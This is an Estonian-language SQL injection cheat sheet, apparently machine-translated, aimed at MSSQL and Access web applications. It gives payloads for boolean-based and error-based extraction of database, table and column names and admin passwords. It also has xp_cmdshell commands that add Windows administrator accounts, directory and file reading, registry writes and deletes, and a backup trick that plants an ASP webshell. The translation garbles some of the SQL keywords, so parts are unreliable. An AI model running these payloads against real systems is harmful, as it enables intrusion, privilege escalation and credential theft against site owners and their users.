1. Määra, kas süst on olemas ; ja 1=1 ; ja 1=2
2. Eelotsus selle kohta, kas see on mssql ; ja kasutaja>0
3. Hinda andmebaasisüsteemi ; ja (select count(*) sysobjectsist)>0 mssql ; ja (select count(*) msysobjectsist)>0 ligipääs
4. Süstimisparameeter on tegelane 'ja [päringukriteeriumid] ja ''='
5. Otsingu ajal ei ole filtreeritud parameetreid 'ja [päringukriteeriumid] ja '%25'='
6. Arva laua nimi ära ; ja (vali Count(*) [tabeli nimi])>0
7. Arva välja väli ; ja (vali Count(välja nimi) tabeli nimest)>0
8. Arva väljal oleva rekordi pikkus ; ja (vali tabeli nimest ülemine 1 objektiiv (välja nimi)>0
9. (1) Arva välja ASCII väärtus (ligipääs) ; ja (vali laua nimest top 1 ASC(mid(väljanimi, 1,1)))>0
(2) Arva välja ASCII väärtus (mssql) ; ja (vali top 1 unicode(substring(välja nimi,1,1)) tabeli nimest)>0
10. Testilubade struktuur (mssql) ; ja 1=(vali IS_SRVROLEMEMBER('süsteemiadministraator')); -- ; ja 1=(vali IS_SRVROLEMEMBER('serveradmin')); -- ; ja 1=(vali IS_SRVROLEMEMBER('setupadmin')); -- ; ja 1=(vali IS_SRVROLEMEMBER('securityadmin')); -- ; ja 1=(vali IS_SRVROLEMEMBER('diskadmin')); -- ; ja 1=(vali IS_SRVROLEMEMBER('bulkadmin')); -- ; ja 1=(vali IS_MEMBER('db_owner')); --
11. Lisa konto mssql-i ja süsteemi jaoks ; juht master.dbo.sp_addlogin kasutajanimi; -- ; exec master.dbo.sp_password null, kasutajanimi, parool; -- ; juht master.dbo.sp_addsrvrolemember süsteemiadministraatori kasutajanimi; -- ; Exec master.dbo.xp_cmdshell 'Net User Username Password /Workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; -- ; exec master.dbo.xp_cmdshell 'netikasutaja kasutajanimi parool /lisa'; -- ; Exec master.dbo.xp_cmdshell 'Net LocalGroup Administrators kasutajanimi /add'; --
12. (1) Kataloogi läbimine ; Loo tabel dirs(teed: varchar(100), id int) ; Lisa DIRS-i juht master.dbo.xp_dirtree 'c:\' ; ja (vali DIRS-ist Top 1 rajad)>0 ; ja (vali DIR-idest top 1 teed, kus teed ei ole ('teed, mis on saadud eelmisest sammust')))>)
(2) Kataloogi läbimine ; loo tabel temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; sisesta temp exec master.dbo.xp_availablemedia; -- Hangi kõik praegused kettad ; sisesta temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Hangi nimekiri alamkataloogidest ; sisesta temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Hangi kõigi alamkataloogide kataloogipuu struktuur ; sisesta temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Vaata faili sisu
13. Salvestatud protseduurid mssql-is xp_regenumvalues Registri juurvõti, lapsvõti ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' tagastab kõik võtmeväärtused mitmes kirjekogus xp_regread Juurvõti, lapsvõti, võtme-väärtuse nimi ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' tagastab seadistusvõtme väärtuse xp_regwrite Juurvõti, lapsvõti, väärtuse nimi, väärtuse tüüp, väärtus On kahte tüüpi väärtustüüpe REG_SZ REG_DWORD tähemärkide tüübid ja täisarvud ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' registrile xp_regdeletevalue Juurvõti, alamvõti, väärtuse nimi exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName', et eemaldada väärtus xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey', et eemaldada võti, sealhulgas kõik selle võtme all olevad väärtused
14. MSSQL varukoopia loob veebishelli Kasutusmudel loo tabel cmd(str image); sisesta cmd(str) väärtustesse ('<% Dim oScript %>'); varundusandmebaasi mudel disk='c:\l.asp';
15. mssql sisseehitatud funktsioonid ; ja (vali @@version)>0, et saada Windowsi versiooninumber ; ja user_name()='dbo', et määrata, kas praeguse süsteemi ühendatud kasutaja on SA ; ja (vali user_name()))>0 Plahvatas praeguse süsteemi ühendatud kasutajad ; ja (vali db_name()))>0, et saada hetkel ühendatud andmebaas
MSSQL käsitsi annoteeritud andmebaasi rikkumine
1. Paljasta praegune tabeli nimi ja veeru nimi Esita süstimispunkti järel "'having 1=1--", et saada inglise keeles tagasiteade, kus näed tabeli ja veeru nime. Esita "grupp nimekirja nime järgi, millel on 1=1--", et saada veel üks veeru nimi; Jätka esitamist "grupp paljastatud tabeli nime ja paljastatud tabeli nime järgi. Teise veeru nimi on 1=1--", mis annab teise veeru nime. Commit samamoodi, kuni leht enam veateateid ei tagasta, et saada kõik veergude nimed. Tõsiasi: Vägivaldseid tabelinimesid ja veergunimesid kasutatakse koos GROUP BY-ga SQL-lausetes, et teha tingimuslikke hinnanguid. Kuna väide on puudulik, tagastab andmebaas veateate ning kuvab tabeli nime ja veeru nime. Põhimeetod suudab andmebaasis avada ainult praeguse tabeli ning kui tabel sisaldab palju veergunimesid, on põhimeetodi kasutamine väga keeruline.
Esiteks. Kõik andmebaasi nimed on nähtavad Kasuta lauset "and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])", et kuvada andmebaasis suvalised tabelite ja veergude nimed, kus "[N]" tähistab andmebaasis N-ndat tabelit. 1. samm: Pärast punkti süstimist esita järgmine lause: "and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)", sest dbid väärtus on 1 kuni 5, mida süsteem kasutab, seega peab kasutaja selle ehitama 6-st ja me esitasime nime>1, nimeväli on tähemärgi tüüpi väli ja numbrivõrdlus on vale, seega pärast esitamist tagastab IE järgmise info: "Microsoft OLE DB Provider for ODBC Drivers, error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] teisendab nvarchar väärtuse 'Northwind' andmetüübiks int veerg. Nii avaneb nimevälja väärtus, st saame andmebaasi nime "Northwind". "dbid" väärtuse muutmine võib saada kõik andmebaasi nimed.
ja 0<>(select count(*) master.dbo.sysdatabases, kus name>1 ja dbid=[N])-- Muuda N, et plahvatada kõik andmebaasi nimed 6-st
Teiseks. Kuva kõik tabelinimed määratud andmebaasis Pärast andmebaasi nime saamist pead nüüd koguma kõik tabelinimed teeki, esitama järgmise lause: "and 0<>(select top 1 name from master.dbo.sysobjects, where xtype='U')", siin on tabeli nimi master-andmebaasis ning päringu SQL lause tagastab nime väärtuse ning võrdle seda numbriga 0, et nime väärtus oleks nähtav. Pärast esitamist paljastati laua nimi "'spt_monito". Seejärel kuvatakse teised tabelid ja esitatakse järgmine lause: "and 0<>(select top 1 name from master.dbo.sysobjects, where xtype='U' and name not in('spt_monito')))", ning teine tabel nimega "cd512" avatakse. Fail "and name not in(' spt_monito',' CD512',..))" Saad teada kõik tabelinimed.
ja 0<>(vali top 1 nimi [täpsusta andmebaasi nimi].dbo.sysobjects, kus xtype='U')-- ja 0<>(vali top 1 nimi [specify database name].dbo.sysobjects, kus xtype='U' ja name not in('[Exploded table name]')))-- ja 0<>(vali ülemine 1 nimi [täpsusta andmebaasi nimi].dbo.sysobjects, kus xtype='U' ja nimi ei ole sees('[Plahvatusohtlik tabelinimi]', '[Plahvatatud teine tabeli nimi]'))))--
4. Kuva kõik veeru nimed määratud tabelis ja 0<>(vali count(*) bbs.dbo.sysobjectsist, kus xtype='U' ja name='admin' ning uid>(str(id))) Teisenda ID väärtus tähemärgitüübiks ja võrdle seda täisarvulise väärtusega. ID-number on väljas. Väärtus on: 949578421 name='tabeli nimi'
ja 0<>(vali top 1 nimi wutong.dbo.syscolumnsist, kus id=949578421)-- Välja nimi admin tabelis on nähtav
Esita uuesti ja 0<>(vali top 1 nimi wutong.dbo.syscolumnsist, kus id=949578421 ja nimi not in('adduser')))-- Fail "and name not in(' spt_monito',' CD512',..))" Kõik väljade nimed leiad administraatori tabelist.
ja 0<>(vali count(*) [specify database name].dbo.sysobjects, kus xtype='U' ja name='[Plahvatava välja tabeli nimi]' ning uid>(str(id)))--Plahvatatava välja tabeli nime ID väärtus
ja 0<>(vali ülemine 1 nimi [täpsusta andmebaasi nimi].dbo.syscolumns, kus id=plahvatanud id väärtus)-- Välja nimi plahvatava id väärtustabelis
ja 0<>(vali top 1 nimi [specify database name].dbo.syscolumns, kus id=Explosive id value and name not in('[Exploded field name]'))))--
5. Loe andmeid määratud tabelis
ja 0<(vali A_ID wutong.dbo.admin lehelt, kus A_UserID>1) – sisu, mis rikkus A_PWD
ja 0<(vali [eksisteeriv väli] [sisesta andmebaasi nimi].dbo.[tabeli nimi päringule] kus [välja nimi sisu plahvatamiseks]>1)--
ja 0<(vali A_ID wutong.dbo.administ, kus A_PWD>1 ja A_UserID='admin')-- Admini parool on nähtav
ja 0<(Vali Top 1 A_UserID FROM admin, kus A_ID<>1)-- Administraatori nimi id<>1 (fuhao)
ja 0<(Vali Top 1 A_UserID FROM admin, kus A_ID <>1 ja A_UserID <> 'fuhao')-- Teise administraatori nimi <> võrdne (tuiguangiga)
ja 0<(Vali Top 1 A_UserID FROM admin, kus A_ID <>1 ja A_UserID <> 'fuhao' ja A_UserID <> 'tuiguang')--
Kui oled teadnud andmebaasi tabeli ja veeru nime, saad kasutada "päringulauset", et lugeda andmebaasis olevat infot. Näiteks, kui soovid lugeda tabeli veerus N-ndat andmet, saad esitada lause: "and (Select Top 1 column name from table name, where id=[N])>1" ([N] tähistab veerus N-ndat andmet), ning saad soovitud andmeid IE poolt tagastatud info põhjal.
|